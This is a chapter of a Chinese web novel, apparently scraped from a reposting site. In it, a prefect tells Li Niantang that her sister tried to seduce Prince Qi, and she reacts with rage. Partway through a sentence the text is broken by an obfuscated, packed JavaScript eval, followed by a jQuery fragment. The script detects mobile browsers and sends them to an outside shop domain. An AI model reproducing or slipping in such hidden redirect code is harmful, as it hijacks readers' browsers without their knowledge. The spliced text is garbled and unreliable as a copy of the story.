衢州知府和李念棠的相识,始于安平八年的科举舞弊案。
齐王为提拔亲信,暗中私通考官,妄图在朝中埋下党羽。
此事本就牵扯不到李念棠身上,但让齐王不顺心的事,顺手就做了。
之后东窗事发,一批被栽赃陷害的书生重获官位,衢州知府便是其中一人。
虽有人替齐王顶罪,衢州知府倒也看得分明,幕后主使正是齐王。
因而衢州知府恨上齐王,好端端一知府直接化身偷窥狂魔,时常留意和齐王有关的所有事情。
衢州知府惴惴:“当年啊,多亏了二小姐你,不然本官现在指不定还在苦读呢?”
因着赶路需要,李念棠拒绝衢州知府去官府一坐的请求,几人在路边进了家茶肆,门口串着的风铃沙沙作响,桌上放着上好的茶水,茶香萦绕在室内。
李念棠捧起茶盏,茶水温热:“不是什么大事,齐王后来没找过你麻烦吧。”
“那倒没有。”衢州知府拖着下巴思索片刻,问出他真正想问的事,原来三人进城时便有下人汇报给他,沈言腰间的白玉令牌太过耀眼,他一猜就知道了来人,见到李念棠是意外之喜,“二小姐,你南下多久了。”
听着他语气有些怪异,李念棠不解:“有段时间了,怎么?”
“你这段时间有关注京都那边的消息吗?”
李念棠摇头。
她恨不得有多远跑多远,哪来的精力去关注京都。
衢州知府向前倾身,拉近和李念棠的距离,也不知道有没有看见李念棠有些嫌弃后退的样子,自顾自开口:“京都出大事了。”
他虽压着声音,相隔不远的沈言还是听得一清二楚,他有些不满。
“大人这样就没意思了啊,怎么讲八卦只讲给阿棠。”
衢州知府脸上露出为难神色,李念棠看他表情,心里猜出大事应该和她有关。
“他们俩不是外人,直接说吧。”
衢州知府点头,开头第一句就如同晴天霹雳,炸得三人目瞪口呆。
“二小姐,你阿妹好像爬了齐王殿下的床,还被……当众揭穿了。”
李念棠手中捧着的茶盏滚到地上劈里啪啦作响,茶水飞溅,洒在地上一片,连带着洒到她裙角上。
“李明涵?你确定?她哪来那么大胆子。”
滚烫的茶水透过布料,脚踝处很快变红,丝丝疼意被这突如其来的消息掩盖。
衢州知府从一侧拿起另一个茶盏,倒上水后递给她:”本官原先还准备问问二小姐这到底怎么回事,结果二小姐你对自己家的事居然这么不在乎。”
李念棠没空和他扯皮:“把你知道的全都告诉我。”
衢州知府也是体面人,叹着气走到门边再三确认大门紧锁,转头,和迷蒙的沈言对视,有些于心不忍。
“二小姐你也知道,我天天关注着齐王。前几日京都的人传信,说好像就是前不久,齐王去李府提亲。”
衢州知府抬头瞄了李念棠一眼,对方神色平淡,视线下移,李念棠手中的白玉茶盏多了条裂缝,他伸手抹了把汗。
“本来这些细节我也不该知道的,但是,不知道咋的被泄露了,然后就……”
李念棠彻底冷脸了:“继续。”
“外边传的大概就是,齐王到李府一叙后没看见二小姐你,被李府大娘子拦下,李府大娘子称二小姐身体不适,在屋里养病。
“齐王准备去屋内看二小姐,谁料进屋后便吸入某种气味,接着三小姐从背后环住齐王,顺带着将人带上了床。”
衢州知府闭嘴了,他能感觉到李念棠周围骤降的气温,茶盏上已布满裂缝,再一用力,怕是就要碎成白渣了。
屋内的茶香味似乎在消散,静如冰窖的室内,衢州知府看了一圈,沈言早已不知神游到哪了双目无神,李念棠带过来的他没有见过的人低沉着眼,眸中神色看不分明。
李念棠不愧是见过世面的人:“然后呢?”
“没有然后了,他俩没到最后一步,齐王的人来了,据说齐王回去后生了一通气……”
顶着李念棠阴森的目光,衢州知府声音渐小:“这你家的事我也不清楚啊,原本还以为你在京都,好歹能顶会儿事,谁知道你这居然南下了,你也不在,你兄长也不在,你阿爹那种清白比命重的文人,这你家的情况……”
沈言云里雾里的脑子捕捉到了关键字,在李念棠被气成炮弹的这一刻沈言奇迹般地支楞起来了。
“知府大人,发生这种事,不管怎么传出来的,终归是有损李相名声,回来李相怪罪下来……”
言下之意便是既然你知道了,将要守口如瓶。
衢州知府头如雨点般密集点头,李念棠黑成锅底的脸色吓到他了,当年科举案李念棠拷打犯人的那几幕他现在也忘不了,要是早跟他说李念棠不知道这事,他说什么也不会开口的:“知道的,知道的。”
临了脑海中灵光一现,又想到了什么,他犹豫了好大一会儿,顶着将要掉下来的脑子,跟李念棠说了最后的见闻。
“我的人还说,齐王大发雷霆,对前来围观的众人宣告,这辈子非你不娶,说就算你现在不知身处何方,也一定会带你回来和你完婚。”
茶盏“砰”一声被人砸到地上,白瓷碎皮散落到四方,莹润着茶叶的汁水滑落一地。
李念棠站起身,举起桌子上的茶壶砸到地上,一串噼里啪啦声中她仍不觉怒火散开,推住面前的茶桌,双手一使劲,茶桌翻倒在地。
衢州知府和沈言早已被吓得龟缩到一旁,顶着两人失色的面容,梁同玉叹气,走到李念棠身侧,用自己衣袖擦掉她脸上溅起的茶水。
他扶住李念棠双肩让她看向自己:“齐王就是故意让你听到的,不是吗?”
李念棠已经气得无法思考了,她顺从地使唤起衢州知府。
“帮我要张纸,还有笔。”
衢州知府道一声好嘞就溜走了,留剩下两人一个擦衣服上的水渍,一个拍背安抚。
李念棠再傻也不至于看不出,这样的丑闻她阿爹怎么可能瞒不下来,她都不用想就知道是齐王
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871243|212179||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在背后大肆宣扬,推波助澜。
以李明涵为跳板,告诉所有人他对李念棠的爱意之坚定,告诉所有人李念棠已经离京。
李念棠千辛万苦瞒下的消息就这样被公之于众。
她仇家那么多……
如今京都几大世家,哪个她没得罪过,想要她人头的一抓一大把。
也就是在京都,有天子和阿爹镇着,李念棠尚能完好无损,如今她南下的消息扩散,仇家势必会想到杭州府都,杭州府都已经乱成一锅粥了,早已经不起摧残了。
指骨捏得啪啦作响,在她准备打碎一旁的古物时,衢州知府带着纸币仓促走了进来。
他麻利地铺开纸张,李念棠拿起笔,蘸墨,一气呵成,洋洋洒洒写下几行大字,眉头皱得如波浪般,随后上下对折,交给衢州知府。
“让你的人交给齐王。”
“好的,二小姐。”衢州知府点头,见李念棠火气消下去一点,忙不迭询问,“你们三个要留下来吗?”
李念棠拒绝,她现在想弄死齐王的心达到了顶峰。
“不要让任何人知道我来过衢州府都。”
衢州知府点头。
“我们先走了,回来见。”
她扶住茶桌一角,手腕使劲,桌子老老实实倒在原地,动都没动。
李念棠:……
不愧是实木梨花桌子,就是不一样。
梁同玉搀扶住另一角,两人一起用力,桌子堪堪扶正,李念棠看着满地的白瓷碎片,在衣袖中翻出片金叶子,放到桌子上全当歉意。
衢州知府知道她财大气粗:“这些打碎的碗加起来没那么贵。”
“我乐意。”她掀起风铃,弯腰走出室内。
身后跟着三观震碎的沈言和一脸复杂的梁同玉,沈言脑子转不过来,虽说此事足够炸裂,但毕竟是和李念棠向来不和的妹妹,他不太理解李念棠为什么发这么大的火。
虽然李念棠脾气本来就不好。
他也不太敢去问李念棠,拽住身侧的梁同玉:“你说阿棠为什么发这么大的火。”
那人用看傻子的眼神看向自己,沈言剜他一眼,要他赶紧说。
“知玉的仇家不少吧。”
沈言想了想,发现细思极恐,他甚至说不上来不是李念棠仇家的人,遂点头。
“她不在京都的消息扩散,那些人最先想到的不就是杭州吗。因为知府是她兄长。”
沈言点头。
“派去杭州的人多了,杭州如今的怪象迟早有一天会被发现。”梁同玉突然住了嘴,话到嘴边拐了个弯,“总之,知府大人那边会很麻烦。”
沈言懂了:“齐王是在逼阿棠回去啊。”
“对。”
梁同玉看向走在前头的少女,明明身形那么单薄,是怎么在孤立无援的情况下走了这么远。
看着李念棠打碎茶盏的那一刻,最先涌出的情绪是心疼,想将她抱在怀中,想替她挡下所有风雨。
可那样好像就越界了。
他现在……只是替身。